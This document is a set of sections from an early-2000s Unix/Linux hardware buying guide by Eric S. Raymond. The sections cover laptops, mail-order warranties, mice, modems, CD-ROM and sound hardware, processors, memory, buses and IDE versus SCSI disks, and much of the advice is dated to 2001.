You can view the latest version of this on the World Wide Web via the URL http://www.linuxdoc.org/HOWTO/Unix-Hardware-Buyer-HOWTO/.

1.3. Feedback and corrections

If you have questions or comments about this document, please feel free to mail Eric S. Raymond, at esr@thyrsus.com. I welcome any suggestions or criticisms. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanks.

1.4. Related resources

You may also want to look at the read the Hardware-HOWTO. It lists hardware known to be compatible with Linux, and hardware known to be incompatible.

Prev | Home | Next
The Unix Hardware Buyer HOWTO |  | Overview of the Market


Special considerations when buying laptops

The Unix Hardware Buyer HOWTO
Prev Next

9. Special considerations when buying laptops

Up until about 1999 the laptop market was completely crazy. The technology was in a state of violent flux, with ``standards'' phasing in and out and prices dropping like rocks. Things are beginning to settle out a bit more now.

One sign of this change is that there are now a couple of laptop lines that are clear best-of-breeds for reasons having as much to do with good industrial design and ergonomics as the technical details of the processor and display.

In lightweight machines, I'm a big fan of the Sony VAIO line. I owned one from early 1999 until it physically disintegrated under the rigors of travel in late 2000, and could hardly imagine switching. They weigh 3.5 pounds, give you an honest 3 hours of life per detachable battery pack, have a very nice 1024x768 display, and are just plain pretty. Their only serious drawback is that they're not rugged, and often fall apart after a year or so of use.

If you want a full-power laptop that can compete with or replace your desktop machine, the IBM ThinkPad line is the bomb. Capable, rugged, and nicely designed (though somewhat heavyweight for my taste). I now use a ThinkPad X20, the lightest and smallest machine in the line, and like it a lot.

These machines are not cheap, though. If you're trying to save money by buying a no-name laptop, here are things to look for:

First: despite what you may believe, the most important aspect of any laptop is not the CPU, or the disk, or the memory, or the screen, or the battery capacity. It's the keyboard feel, since unlike in a PC, you cannot throw the keyboard away and replace it with another one unless you replace the whole computer. Never buy any laptop that you have not typed on for a couple hours. Trying a keyboard for a few minutes is not enough. Keyboards have very subtle properties that can still affect whether they mess up your wrists.

A standard desktop keyboard has keycaps 19mm across with 7.55mm between them. If you plot frequency of typing errors against keycap size, it turns out there's a sharp knee in the curve at 17.8 millimeters. Beware of ``kneetop'' and ``palmtop'' machines, which squeeze the keycaps a lot tighter and typically don't have enough oomph for Unix anyway; you're best off with the "notebook" class machines that have full-sized keys.

Second: be careful that your laptop meets the minimum core and disk requirements for the Unix you want to run. This is generally not a problem with desktop machines, which can be upgraded cheaply and easily, but laptops often have more stringent constraints.

Third: with present flatscreens, 1024x768 color is the best you're going to do (though that may change soon). If you want more than that (for X, for example) you have to either fall back to a desktop or make sure there's an external-monitor port on the laptop (and many laptops won't support higher resolution than the flatscreen's).

Fourth: look for Nickel-Metal-Hydride (NiMH) batteries, as opposed to the older (Nickel-Cadmium) NiCad type. NiMH batteries are great because they have considerably higher energy capacity per pound that NiCads. They need special circuitry to charge them fast, so don't try to throw out your NiCads and replace them with NiMH cells if you use a fast charger intended for NiCads. Both kinds of cells can be damaged by overcharging at rates faster than 10 hours per full charge.

Fifth: Older laptop electronics were 5-volt CMOS. Most current designs are 3.3-volt CMOS with power-management features on the processor (these are often labelled APM, Advanced Power Management). Buy this, if you can, to nearly double your use time between recharges.

Sixth: about those vendor-supplied time-between-recharge figures; don't believe them. They collect those from a totally quiescent machine, sometimes with the screen or hard disk turned off. Under DOS, you'd be lucky to get half the endurance they quote; under Unix, which hits the disk more often, it may be less yet. Figures from magazine reviews are more reliable.

Seventh: You probably want a color dual-scan display. It used to be that you had to choose between passive-matrix LCD (cheap, miserable color) and active- matrix LCD (great color, horribly expensive). Dual-scan passive-matrix is nearly as good as active-matrix, except for the narrower viewing angle, and it's much cheaper. Avoid the older single-scan models, sometimes marketed as having STN (super-twisted nematic) displays.

Eighth: get either a CD-ROM drive or an Ethernet card. Otherwise initial load of your Unix could turn into a serious problem...

Prev | Home | Next
CD-ROMs and Multimedia Hardware |  | How to Buy


Other Resources on Building Linux PCs

The Unix Hardware Buyer HOWTO
Prev Next

15. Other Resources on Building Linux PCs

Andrew Comech's The Cheap /Linux/ Box page is a useful guide to building with current hardware that is updated every two weeks. Andrew also maintains a short-cut version.

The Caveat Emptor guide has an especially good section on evaluating monitor specifications.

Dick Perron has a PC Hardware Links page. There is lots and lots of good technical stuff linked to here. Power On Self Test codes, manufacturer address lists, common fixes, hard disk interface primer, etc.

Anthony Olszewski's Assembling A PC is an excellent guide to the perplexed. Not Linux-specific. If you're specifically changing a motherboard, see the Installing a Motherboard page. This one even has a Linux note.

Tom's Hardware Guide covers many hardware issues exhaustively. It is especially good about CPU chips and motherboards. Full of ads and slow-loading graphics, though.

The System Optimization Site has many links to other worthwhile sites for hardware buyers.

Christopher B. Browne has a page on Linux VARs that build systems. He also recommends the Linux VAR HOWTO.

Jeff Moe has a Build Your Own PC page. It's more oriented towards building from parts than this one. Less technical depth in most areas, but better coverage of some including RAM, soundcards and motherboard installation. Features nifty and helpful graphics, one of the better graphics-intensive pages I've seen. However, the hardware-selection advice is out of date.

The Linux Hardware Database provides, among other things (e.g., drivers, specs, links, etc.), user ratings for specific hardware components for use under Linux. Our ratings take a lot of the guess work out of choosing which hardware to buy for a Linux box. The site also provides several product-specific resources (i.e., drivers, workarounds, how-to) that help users get hardware working after they have made a purchase.

Prev | Home | Next
Software to go with your hardware |  | Upgrading Older Machines


Things to Check when Buying Mail-Order

The Unix Hardware Buyer HOWTO
Prev Next

12. Things to Check when Buying Mail-Order

12.1. Tricks and Traps in Mail-Order Warranties

Reading mail-order warranties is an art in itself. A few tips:

Beware the deadly modifier ``manufacturer's'' on a warranty; this means you have to go back to the equipment's original manufacturer in case of problems and can't get satisfaction from the mail-order house. Also, manufacturer's warranties run from the date they ship; by the time the mail-order house assembles and ships your system, it may have run out!

Watch for the equally deadly ``We do not guarantee compatibility''. This gotcha on a component vendor's ad means you may not be able to return, say, a video card that fails to work with your motherboard.

Another dangerous phrase is ``We reserve the right to substitute equivalent items''. This means that instead of getting the high-quality name-brand parts advertised in the configuration you just ordered, you may get those no-name parts from Upper Baluchistan — theoretically equivalent according to the spec sheets, but perhaps more likely to die the day after the warranty expires. Substitution can be interpreted as ``bait and switch'', so most vendors are scared of getting called on this. Very few will hold their position if you press the matter.

Another red flag: ``Only warranted in supported environments''. This may mean they won't honor a warranty on a non-DOS system at all, or it may mean they'll insist on installing the Unix on disk themselves.

One absolute show-stopper is the phrase ``All sales are final''. This means you have no options if a part doesn't work. Avoid any company with this policy.

12.2. Special Questions to Ask Mail-Order Vendors Before Buying

  • Does the vendor have the part or system presently in stock? Mail order companies tend to run with very lean inventories; if they don't have your item in stock, delivery may take longer. Possibly much longer.

  • Does the vendor pay for shipping? What's the delivery wait?

  • If you need to return your system, is there a restocking fee? and will the vendor cover the return freight? Knowing the restocking fee can be particularly important, as they make keep you from getting real satisfaction on a bad major part. Avoid dealing with anyone who quotes more than a 15% restocking fee — and it's a good idea, if possible, to avoid any dealer who charges a restocking fee at all.

Warranties are tricky. There are companies whose warranties are invalidated by opening the case. Some of those companies sell upgradeable systems, but only authorized service centers can do upgrades without invalidating the warranty. Sometimes a system is purchased with the warranty already invalidated. There are vendors who buy minimal systems and upgrade them with cheap RAM and/or disk drives. If the vendor is not an authorized service center, the manufacturer's warranty is invalidated. The only recourse in case of a problem is the vendor's warranty. So beware!

12.3. Payment Method

It's a good idea to pay with AmEx or Visa or MasterCard; that way you can stop payment if you get a lemon, and may benefit from a buyer-protection plan using the credit card company's clout (not all cards offer buyer-protection plans, and some that do have restrictions which may be applicable). However, watch for phrases like ``Credit card surcharges apply'' or ``All prices reflect 3% cash discount'' which mean you're going to get socked extra if you pay by card.

Note that many credit-card companies have clauses in their standard contracts forbidding such surcharges. You can (and should) report such practices to your credit-card issuer. If you already paid the surcharge, they will usually see to it that it is returned to you. Credit-card companies will often stop dealing with businesses that repeat such behavior.

12.4. Which Clone Vendors to Talk To

12.4.1. Some pans

Dell: treated the Unix community, customers and its own employees very badly back in 1994 by making an internal decision to kill its market-leading SVr4 port, then obfuscating and lying about its intentions for months after its actions made the direction clear. On the other hand, they started getting serious about Linux in early 2000. I won't say boycott them the way I used to, but I will say you ought to think other vendors instead.

Gateway: may also be a vendor to avoid. Apparently their newer machines don't have parity bits in their memories; memory is tested only on reboot. This is dubious design even for DOS, and totally unacceptable for Unix.

12.4.2. Some picks

The hardware business that VA Linux Systems used to run is, alas, no more. Requiesciat in pace. They made damn good stuff (and yes, I thought so long before they made me a director of the corporation).

In early August 2001 I designed an `Ultimate Linux Box' with Gary Sandine and John Pearson of Los Alamos Computers; it will be described in a forthcoming Linux Journal article. These guys know what they are doing and are fun to work with. If you need a high-end Linux workstation, or your laboratory needs a computer cluster, talk with them.

Prev | Home | Next
Questions You Should Always Ask Your Vendor |  | After You Take Delivery


Of Mice And Machines

The Unix Hardware Buyer HOWTO
Prev Next

6. Of Mice And Machines

Mice and trackballs used to be simple; now, thanks to Microsoft, they're complicated. Fortunately, XFree86 is now pretty good at autodetecting your mouse when it starts up, so if that's what you're using you can skip the next section.

6.1. Mouse Types

In the beginning, there was only the Mouse Systems 3-button serial mouse; this reported status to a serial port 30 times a second using a 5-byte serial packet encoding now called ``C'' protocol. The Logitech Series 7 and 9 mice were Mouse Systems-compatible. All Unixes that have any mouse support at all understand C-protocol serial mice.

Then Microsoft got into the act. They designed a two-button serial mouse which reports only deltas in a three-byte packet; that is, it sends changes in button status and motion reports only when the mouse is actually moving. This is called `M' protocol. Microsoft sold a lot of mice, so Logitech switched from `C' to `M' — but they added a third button, state changes for which show up in an optional fourth byte. Thus, `M+' protocol, upward-compatible with Microsoft's `M'. Most Unix vendors add support for M+ mice, but it's wise to check (Linux's XFree86 has it).

Bus mice are divided into 8255 and InPort types. These report info continuously at 30 or 60 Hz (though InPort mice have an option for reporting deltas only), and you get interrupts on events and then have to poll hardware ports for details. Bus mice are no longer widely available and there is no good reason to bother with them.

In addition to serial mice and bus mice, there are ``keyboard mice''. On PS/2s there are two identical-looking keyboard ports, labeled (with icons) ``mouse'' & ``keyboard''. Both are 6-pin mini-DINs that look like the regular PC keyboard port only smaller. Physically, the connector goes to the keyboard processor (often an 8042); electrically, it provides TTL levels (serial clock, serial data, ground and +5V); logically, it uses the same protocol as normal serial mice. The same keyboard processor that decodes the keyboard decodes the mouse. PS/2s have this port, many newer motherboards do as well. Confusingly, XFree86 thinks these keyboard mice are bus mice.

All things considered, Unix users are probably best off going with a serial mouse if their motherboard isn't one of the newer ones with a built-in PS/2 mouse. Most current clone motherboards give you two serial ports, so you can still dedicate one to this and still have one for the all-important modem. Not only are the compatibility issues less daunting, but a serial mouse loads the multitasking system less due to interrupt frequency.

6.2. Buying a Mouse

Beware that most clone vendors, being DOS oriented, bundle two-button M-type mice. Thus, you may have to buy your own three-button mouse. Ignore the adspeak about dpi and pick a mouse or trackball that feels good to your hand.

Your humble editor really, really likes the Logitech TrackMarble, an optical trackball that eliminates the chronic roller-fouling problems of the older TrackMan. They're well-supported by XFree86 (type MouseMan), so any Linux or BSD will accept them.

Prev | Home | Next
Hardware for Backups |  | Modems


Modems

The Unix Hardware Buyer HOWTO
Prev Next

7. Modems

This section will give you a thumbnail sketch of the modem types available out there, one tuned for the typical Unix installation's needs.

7.1. The Simple Answer

The modem market has stabilized, with a clear leader at a reasonable price. If you can afford it ($270 in August 2001) go buy a U.S. Robotics V.Everything external. You can then know that you've got the best and skip the rest of this section.

7.2. Overview of the Modem Market

The modem market is like consumer electronics (and unlike the computer market as a whole) in that price is a very poor predictor of performance. For ordinary file transfers, some $50 modems are better than some $150 modems. Paying top dollar mainly buys you better tolerance of poor connections and better performance at heavy-duty bi-directional transfers (such as you would generate, for exmaple, using SLIP or PPP over a leased line to an Internet provider).

In today's market, the typical modem does a nominal 56kbps -- V.90 plus V.29 or V.17 fax transmission and reception (over plain old phone lines you won't get more than 53K of that). You don't see much in the way of slow/cheap to fast/expensive product ranges within a single brand, because competition is fierce and for many modem board designs (those featuring DSP (Digital Signal Processor) chips run by a program in ROM) adding a new protocol is basically a software change.

For much more information on high-speed modems for Unix, see The Linux/Modem Compatibility Knowledge Base. The page is aimed at Linux users, but the advice is general to any non-Windows OS.

7.3. Internal vs. External

Most modems come in two packagings: internal, designed to fit in a PC card slot, and external, with its own case, power supply, and front-panel lights. Typically you'll pay $20 to $30 more for an external modem than you will for the internal equivalent. You'll also need a serial port to connect your external modem to.

Pay that premium — being able to see the blinkenlights on the external ones will help you understand and recover from pathological situations. For example, if your Unix system is prone to ``screaming-tty'' syndrome, you'll quickly learn to recognize the pattern of flickers that goes with it. Punch the hangup/reset button on an external modem and you're done — whereas with an internal modem, you have to go root and flounder around killing processes and maybe cold-boot the machine just to reset the card.

See Rick's Rants for extended discussion of this point.

7.4. Pitfalls to Avoid

If the abbreviation ``RPI'' occurs anywhere on the box, don't even consider buying the modem. RPI (Rockwell Protocol Interface) is a proprietary ``standard'' that allows modem makers to save a few bucks at your expense by using a cheap-jack Rockwell chipset that doesn't do error correction. Instead, it hands the job off to a modem driver which (on a Unix machine) you will not have.

Also avoid anything called a ``Windows Modem'' or ``WinModem'', ``HCF, or ``HSP''; these lobotomized pieces of crap require a Windows DLL to run. They will eat up to 25% of your processor clocks during transfers, and hog high-priority interrupts (causing your machine to stall under Windows even if your processor still has spare cycles).

Multi-user Unix eats enough processor clocks that you want to be sure of good hardware buffering in your UART — that is, enough of it to avoid losing characters between modem and PC if the OS is a bit slow responding to an interrupt (V.42bis in hardware won't detect this!). This means you want a 16550A or equivalent UART. If you're using an external modem, this is an issue about your serial-port board(s). If you're using an internal modem, the UART is on the modem card itself. So, when buying internal modems, ask what the UART type is. If the vendor says 16540, lose them.

Many fax modems come with bundled MS-DOS fax software that is at best useless under Unix, and at worst a software kluge to cover inadequate hardware. Avoid these bundles and buy a bare modem — it's cheaper, and lowers the likelihood that something vital to your communications needs has been left out of the hardware.

Avoid ``Class 1'' and ``Class 2'' modems. Look for ``Class 2.0'' for the full EIA-standard command set.

7.5. What to Buy

What you want, these days, is a V.90 modem. V.90, formally, is the ITU-T recommendation for asymmetric data signalling rates of up to 56Kbps in the direction of a digitally connected server to a capable client, and up to 33.6Kbps in the direction of the client to the server.

The technology is based on eliminating restrictions imposed by the conversion of analog signals to digital form in the downstream data path (server -> client). Data flow in the server to client direction does not occur in the form of a modulated carrier, it is instead sent as binary numbers representative of 256 possible voltage levels. The reason for the asymmetrical send/receive rates is because in the direction from the client to the server it is not possible to use a digital coding scheme and make it work as well as V.34 does, thus V.34 is used instead. It isn't possible because the telco's line card has a codec that is a much better digital level changer for the transmit direction than it is for the receive direction. The codec used in the customer's modem is, in that respect, somewhat more sophisticated and was designed to work as a fairly good level changer in the receive direction (which the telco's codec was not designed to do).

Note: Achievable bit rates are limited to less than 56kbps in the United States by FCC regulations that limit power input to the network.

Beyond the V series, the telcos are pushing a technology called ADSL (Asymmetric Digital Subscriber Line). This method converts existing twisted-pair telephone lines into access paths for multimedia and high speed data communications. ADSL transmits more than 6Mbps to a subscriber, and as much as 640 kbps more in both directions.

An ADSL circuit connects an ADSL modem on each end of a twisted-pair phone line, creating three information channels; a high speed downstream channel, a medium speed duplex channel, and a POTS (Plain Old Telephone Service) channel. The POTS channel is split off from the digital modem by filters, thus guaranteeing uninterrupted POTS, even if ADSL fails. The high speed channel ranges from 1.5 to 6.1 Mbps, while duplex rates range from 16 to 640 kbps. Each channel can be sub-multiplexed to form multiple, lower rate channels.

7.6. Fax Modems

Fax capability is included with most all modems these days; it's cheap for manufacturers, being basically a pure software add-on. The CCITT also sets fax protocol standards. Terms to know:

V.29

CCITT standard for Group III fax encoding at 9600bps

V.17

CCITT standard for Group III fax encoding at 14400bps

V.17 isn't common yet, but it doesn't usually cost extra over V.29 when you find it.

There's a separate series of standards for software control of fax modems over the serial line maintained by the Electronics Industry Association and friends. These are:

Class 1 — base EIA standard for fax control as extensions to the Hayes AT command set.

Class 2.0 — enhanced EIA standard including compression, error correction, station ID and other features.

Class 2 — marketroidian for anything between Class 1 and Class 2.0. Different ``Class 2'' modems implement different draft subsets of the 2.0 standard, so ``Class 2'' fax software won't necessarily drive any given ``Class 2'' modem.

There's also a proprietary Intel "standard" called CAS, Communicating Applications Specification. Ignore it; only Intel products support it.

The GNU toolset includes a freeware fax transmission and reception toolset, Netfax. Look for it at prep.ai.mit.edu:pub/gnu/fax-*. It says it requires a modem conforming to the ``Class 2'' control standard, but you'd be safest getting a 2.0-conformant modem for reasons explained above. Netfax also requires GNU Ghostscript to do Postscript handling for it.

Prev | Home | Next
Of Mice And Machines |  | CD-ROMs and Multimedia Hardware


CD-ROMs and Multimedia Hardware

The Unix Hardware Buyer HOWTO
Prev Next

8. CD-ROMs and Multimedia Hardware

8.1. CD-ROM Drives

Standard CD-ROMs hold about 650 megabytes of read-only data in a format called ISO-9660 (formerly ``High Sierra''). All current Unixes now support these devices. In fact, most Unix and Linux software is now distributed on ISO-9660 CD-ROM, a cheaper and better method than the QIC tapes we used to use.

CD-ROM drives may be driven through SCSI, through enhanced IDE (ATAPI), or through a proprietary interface card (like the Mitsumi and Sony interfaces). Unix support for CD-ROMs is usually through SCSI drivers (exception: BSDI/386 supports the Mitsumi interface; Linux supports the Mitsumi and Sony interfaces). I recommend that you avoid the proprietary cards; they will effectively cost you money when you need to upgrade. Besides, street prices for SCSI CD-ROMS have dropped below $200.

(A few external CD-ROMs come with a parallel-port interface. Avoid these; they tend to have very slow transfer rates.)

Any CD-ROM you buy should be at least a ``double-spin'' drive meeting the MPC2 (Multimedia PC) standard of a 300K/sec transfer rate when reading. digital data. The older single-speed drives, which only supported the 150K/sec rate Red Book standard for audio CDs, are obsolete. The lowest speed you can buy these days is 4X (600K/sec). 6X, 8X, 10X, 12X, 24X, 32X, 40X, and 56X are available.

The next level up in CD hardware standards is CD-ROM XA. So far, drives that support XA are few and expensive. It's not yet in wide use in the DOS/Windows world, and I don't know of any Unix support for it, either in closed- or open-source code.

CD-ROM access times about 280ms for high-end double-speed drives (to put this in perspective, it's about 30 times slower than a typical 9ms hard disk, but considerably faster than a tape). Accordingly, modern 32X drives are about half the speed of a hard drive.

Most CD-ROMS will include a headphone jack so you can play audio CDs on them. Better-quality ones will also include two RCA jacks for use with speakers. Another feature to look for is a drive door or seal that protects the drive head from dust.

CD-ROM formats are still an area of some confusion. A slight enhancement of the original ``High Sierra'' CD-ROM filesystem format (designed for use with DOS, and limited to DOS's 8+3 file-naming convention) has been standardized as ISO-9660.

There is a de-facto Unix standard called `Rock Ridge' pioneered by the Sun User's Group shareware CD-ROMs. This is a way of putting an extra layer of indirection on an ISO-9660 layout that preserves Unix's long dual-case filenames. Some Unixes (notably Linux, netBSD, freeBSD and BSD/OS) can mount Rock Ridge filesystems.

More much more detail on CD-ROMs, CD-ROM standards and how to buy drives is available in the alt.cdrom FAQ, available for FTP as cdrom.com:/cdrom/faq. It is also archived in the news.answers tree at rtfm. This FAQ includes comparison tables tables of numerous drive types, CD-ROM sources, and ordering information.

8.2. Sound Cards and Speakers

Look for the following features as a minimum in your sound card:

  • 16-bit sampling (for 65536 dynamic levels rather than 256).

  • Mono and stereo support.

  • Full-duplex mode.

  • Sampling rates ranging fron 8K/sec (voice-quality) through 11KHz (AM-radio quality), 22KHz (FM-radio quality) and standard audio (44.1KHz).

  • MIDI interface via a standard 15-pin D-shell connector.

  • RCA output jacks for headphones or speakers.

  • A microphone jack for sound input.

The most important feature is your sound card is what type of MIDI synthesis it has. All current sound cards have some sort of MIDI (musical instrument digital interface) compliance, but if nothing else, make sure your card supports the General MIDI standard. MIDI is just a set of commands issued by the application that tells the sound card which instrument to play, at what note, and for what duration.

Older and cheaper cards use FM synthesis. This synthesis uses a combination of sine waves to imitate the sounds of the different instruments. The result is like the sound tracks of most computer games sold a few years ago; imitation music with an arcade-like sound.

The method used by most modern sound boards is called wave table synthesis. In this method, digitized samples of actual instrument sounds are used as templates for the tones generated by the MIDI commands. Wave table cards vary in the quantity and quality of samples; one figure of merit often quoted is the wave table ROM size (often 4MB or 8MB). Also some boards have wavetable RAM that can store samples loaded from a disk.

Soundcards with DSP (Digital Signal Processing) can perform synthesis effects on board, relieving the CPU for other tasks. Some DSP chips are even software-programmable. Some high-end cards even include 3D sound effects. Whether the system used is SRS (Sound Retrieval System), Q-Sound, or Spatializer, it is designed to improve the perceived stereo effect of your speakers. These 3D effects work by delaying the timing of certain portions of the audio signal so that different frequencies hit your ear at slightly different times. The downside is that some of the cards equipped with 3D sound add a noticeable amount of noise to the card's output.

If you play a lot of computer games, you'll need to pay attention to compatibility. DOS games are written almost exclusively for the Creative Labs specification; you will need a card that is 100% Sound Blaster compatible. Many vendors do not license the Creative Labs specification but claim that their cards are 100% game compatible. This means that the sound will work, but not all sounds that you hear will be the ones that the game programmers intended. If you play many DOS games, it would be best to buy a Sound Blaster and save yourself a migraine.

Lastly, try to avoid sound cards with built-in amplifiers that are more powerful than 4 watts/channel. Sound cards that have more powerful amplifiers are said to have the problem of adding noise to the card's output. Use powered speakers with a 4 watt/channel card to solve this problem. Most cards are equipped with 4 watts/channel anyway. Wavetable cards are so inexpensive these days that it's almost worth their additional cost over a regular FM synthesis card. If you decide to settle for an FM card, make sure that there is a daughterboard made for the card that will let you upgrade to wavetable synthesis. In some cases, however, the wavetable card is cheaper than buying an FM card and then deciding that you want the wavetable upgrade. If you do decide on the wavetable as your card of choice, PC Magazine rated the best MIDI wavetables (MIDI being the most important feature in my opinion) the Media Vision Premium 3-D, Media Vision Pro 3-D, Creative Labs Sound Blaster AWE32, and the Turtle Beach Monterey (although there are value editions of the Sound Blaster 32 that have fewer ROM instrument samples but maintain the superior MIDI wavetable synthesis).

Linux, includes drivers for the SoundBlaster series and many other boards including the PAS Adlib, the Gravis Ultrasound, and the ProAudioSpectrum. Many of these are included in the 2.0 and newer kernels. See the OSS/Free home page for details

Warning: some sound cards require a specific CD-ROM type! Avoid these.

In speakers, look for a magnetically-shielded enclosure with volume, bass and treble controls. Some speakers run off the card's 4-watt signal; others are ``self-powered'', using batteries or a separate power supply. Your major buying choice is which one of these options to pursue.

Generally speaking, you'll get better value if you buy your sound card, CD-ROM, and speakers not separately but as a bundled ``multimedia upgrade kit'' (even though Unix users will usually have to throw out the bundled software).

One final, important tip: that audio cable from your CD-ROM back to the sound card is used only when you play audio CD-ROMs through your speakers. Software-generated sound goes through the system bus, so you can play ``Doom'' with sound even if your sound board won't accept the audio cable connector.

Prev | Home | Next
Modems |  | Special considerations when buying laptops


Overview of the Market

The Unix Hardware Buyer HOWTO
Prev Next

2. Overview of the Market

The central fact about clone hardware that conditions every aspect of buying it is this: more than anywhere else in the industry, de-facto hardware standards have created a commodity market with low entry barriers, lots of competitive pressure, and volume high enough to amortize a lot of development on the cheap.

The result is that this hardware gives you lots of bang-per-buck, and it's getting both cheaper and better all the time. Furthermore, margins are thin enough that vendors have to be lean, hungry, and very responsive to the market to survive. You can take advantage of this, but it does mean that much of the info in the rest of this document will be stale in three months and completely obsolete in six.

One good general piece of advice is that you should avoid both the highest-end new-technology systems (those not yet shipping in volume) and the very cheapest systems put out by vendors competing primarily on price. The problem with the high end is that it usually carries a hefty ``prestige'' price premium, and may be a bit less reliable on average because the technology hasn't been through a lot of test/improve cycles. The problem with the low end is that price-cutters sometimes settle for marginal components. Unix works your hardware more efficiently than DOS or Windows, so it is more sensitive to hardware flakiness, which means cut-price systems that might deliver consistently for DOS/Windows lemmings can come around and bite you. Use a little care, and spend the $200-$300 to stay out of the basement. The avoided time and hassles will be worth it.

The last point deserves a little amplification. In the PC world, there's a lot of ``if it doesn't fail, it's OK''. It is common to ignore normal engineering tolerances (allowances for variations in components, temperature, voltage margins, and the like) and to assume that anything which doesn't fail outright must work. Watch out! As a historical example, the ISA bus was originally designed for 6 MHz. IBM later updated that to 8 MHz, and that's as much of a standard as there is, yet there were motherboards that will let you (try to!) run it at 12 MHz, 50% over spec. Some cards were actually designed to work at that speed with proper tolerances. Others might work...or they might flake out when they get warm. Any systems vendor above the fly-by-night level is going to shoot for a little more reliability than this, burning in systems and (often) doing at least a token system test with some kind of Unix (usually Linux these days). Pay the few extra bucks it costs to deal with a more careful vendor.

The happy bottom line is this: at July 2001 direct-mail prices, you can expect to get an AMD K6 or Pentium III 450 system with 64MB of memory, 9gig EIDE hard disk, 3.5 floppy, 101-key keyboard, 32X CD-ROM drive, sound card & speakers, SuperVGA-compatible 17" monitor, 56KB modem, and a decent AGP video card for $800 or even less. This is a more than reasonable Unix and X machine.

I put together the first version of this guide around 1992; Unix-capable systems are now five to ten times cheaper than they were then. At today's prices, building your own system from parts no longer makes much sense at all -- so this HOWTO is now more oriented towards helping you configure a whole system from a single vendor.

Prev | Home | Next
Introduction |  | Buying the Basics


Performance Tuning

The Unix Hardware Buyer HOWTO
Prev Next

4. Performance Tuning

Here are the places where you can trade off spending against the performance level you want to buy and your expected job mix.

4.1. How To Pick Your Processor

Right now (mid-2001), the chips to consider for running Unix are the Pentium IIs and Pentium IIIs and their clone equivalents from AMD or Cyrix. The Pentium IV is something of a dog (very poor price-performance, actually slower than a III on some benchmarks), and the Itanium isn't out of the starting gate.

Brands don't matter much, so don't feel you need to pay Intel's premiums if you see an attractive Cyrix, AMD or other chip-clone system offered.

To compare the performance of different Intel-based systems with each other and with machines from other manufacturers, you can take a look at the SPECmark Table at ftp://ftp.cdf.toronto.edu/pub/spectable. That document recommends (and I do too) that you read the SPEC FAQ at http://www.specbench.org/spec/specfaq.html to get background before browsing the table.

Good current advice about chipsets can be found at The Cheap /Linux/ Box.

4.2. Of Memory In...

Buy lots of RAM, it's the cheapest way to improve real performance on any virtual-memory system. 64MB now comes standard on most clone configurations. This is good enough for X.

Tuning is simple. Watch your job mix with top(1) and add memory until you're not swapping to disk any more.

4.3. Bus Wars

This is yet another area in which progress has simplified your choices a lot. There used to be no fewer than four competing bus standards out there (ISA, EISA, VESA/VLB, PCI, and PCMCIA). Now there are effectively just two -- PCI for desktop/tower machines and PCMCIA for laptops.

4.3.1. Bus Types

PCI is Intel's fast 64-bit bus for the Pentium. Many PCI boards are actually PCI/ISA that supports both standards, so you can use less expensive ISA peripherals and controllers. The tradeoff is that dual-bus boards lose about 10% of their performance relative to single-bus PCI boards.

I used to recommend these dual-bus boards, but no longer do. The on-board USB support and PS/2 mouse port now common on motherboards made the difference, it means you no longer need ISA even internally (and PCI cards are cheap these days). For your desktop machine, go PCI-only.

Try to find a motherboard that drives the PCI bus at 66MHz rather than the more typical 33MHz. But that's a minor issue nowadays; the peripherals that dump really large volumes of data (disks, graphics cards) will do direct-memory access or have their own dedicated high-speed bus (like AGP).

In the laptop market everything is PCMCIA. PCMCIA peripherals are about the size of credit cards (85x54mm) and vary in thickness between 5 and 10mm. They have the interesting feature that they can be hot-swapped (unplugged out and plugged in) while the computer is on. However, they are seldom seen in desktop machines. They require a special daemon to handle swapping, which is now standard under Linux.

4.4. Disk Wars: IDE vs. SCSI

4.4.1. Overview

Another basic decision is IDE vs. SCSI. Either kind of disk costs about the same, but the premium for a SCSI card varies all over the lot, partly because of price differences between VLB and PCI SCSI cards and especially because many motherboard vendors bundle an IDE chipset right on the system board. SCSI gives you better speed and throughput and loads the processor less, a win for larger disks and an especially significant consideration in a multi-user environment; also it's more expandable.

In terms of pure disk speed, IDE will always be faster, as they use the same underlying disks, and IDE has less overhead. As fast as disks are getting today, the difference is effectively noise. The real advantage of SCSI comes from its extra brains. IDE uses polled I/O, which means that when you are accessing the disk, the CPU isn't doing anything else. Most SCSI systems, on the other hand, are DMA based, freeing up the system to do other things at the same time. Hence, in terms of full system performance, SCSI is indeed faster if you have good hardware and an intelligent OS.

Another important win for SCSI is that it handles multiple devices much more efficiently. You can have at most two IDE devices; four for EIDE. SCSI permits up to 7 (15 for wide SCSI).

If you have two IDE drives, only one can transfer between memory and disk at once. In fact, you have to program them at such a low level that one drive might actually be blocked from seeking while you're talking to the other drive. SCSI drives are mostly autonomous and can do everything at once; and current SCSI drives are not quite fast enough to flood more than half the SCSI bus bandwidth, so you can have at least two drives on a single bus pumping full speed without using it up. In reality, you don't keep drives running full speed all the time, so you should be able to have 3-4 drives on a bus before you really start feeling bandwidth crunch.

Of course, IDE is cheaper. Many motherboards have IDE right on board now; if not, you'll pay maybe $15 for an IDE adapter board, as opposed to $200+ for the leading SCSI controller. Also, the cheap SCSI cabling most vendors ship can be flaky. You have to use expensive high-class cables for consistently good results. See Mark Sutton's horror story.

4.4.2. Enhanced IDE

These days you seldom see plain IDE; souped-up variants are more usual. These are "Enhanced IDE" (E-IDE) and "Fast AT Attachment" (usually ATA for short). ATA is Seagate's subset of E-IDE, excluding some features designed to permit chaining with CD-ROMs and tape drives using the new "ATAPI" interface (an E-IDE extension; so far only the CD-ROMs exist); in practice, ATA and E-IDE are identical.

You'll need to be careful about chaining in CD-ROMs and tape drives when using IDE/ATA. The IDE bus sends all commands to all disks; they're supposed to latch, and each drive then checks to see whether it is the intended target. The problem is that badly-written drivers for CD-ROMs and tapes can collide with the disk command set. It takes expertise to match these peripherals.

Neither ATA nor E-IDE has the sustained throughput capacity of SCSI (they're not designed to) but they are 60-90% faster than plain old IDE. E-IDE's new ``mode 3'' boosts the IDE transfer rate from IDE's 3.3MB/sec to 13.3MB/sec. The new interface supports up to 4 drives of up to 8.4 gigabytes capacity.

E-IDE and ATA are advertised as being completely compatible with old IDE. Theoretically, you can mix IDE, E-IDE and ATA drives and controllers any way you like, and the worst result you'll get is conventional IDE performance if the enhancements don't match up (the controller picks the lowest latch speed). In practice, some IDE controllers (notably the BusLogic) choke on enhanced IDE.

Accordingly, I recommend against trying to mix device types an an E-IDE/ATA bus. Unfortunately, this removes much of E-IDE/ATA's usefulness!

E-IDE on drives above 540MB does automatic block mapping to fool the BIOS about the drive geometry (avoiding limits in the BIOS type tables). They don't require special Unix drivers.

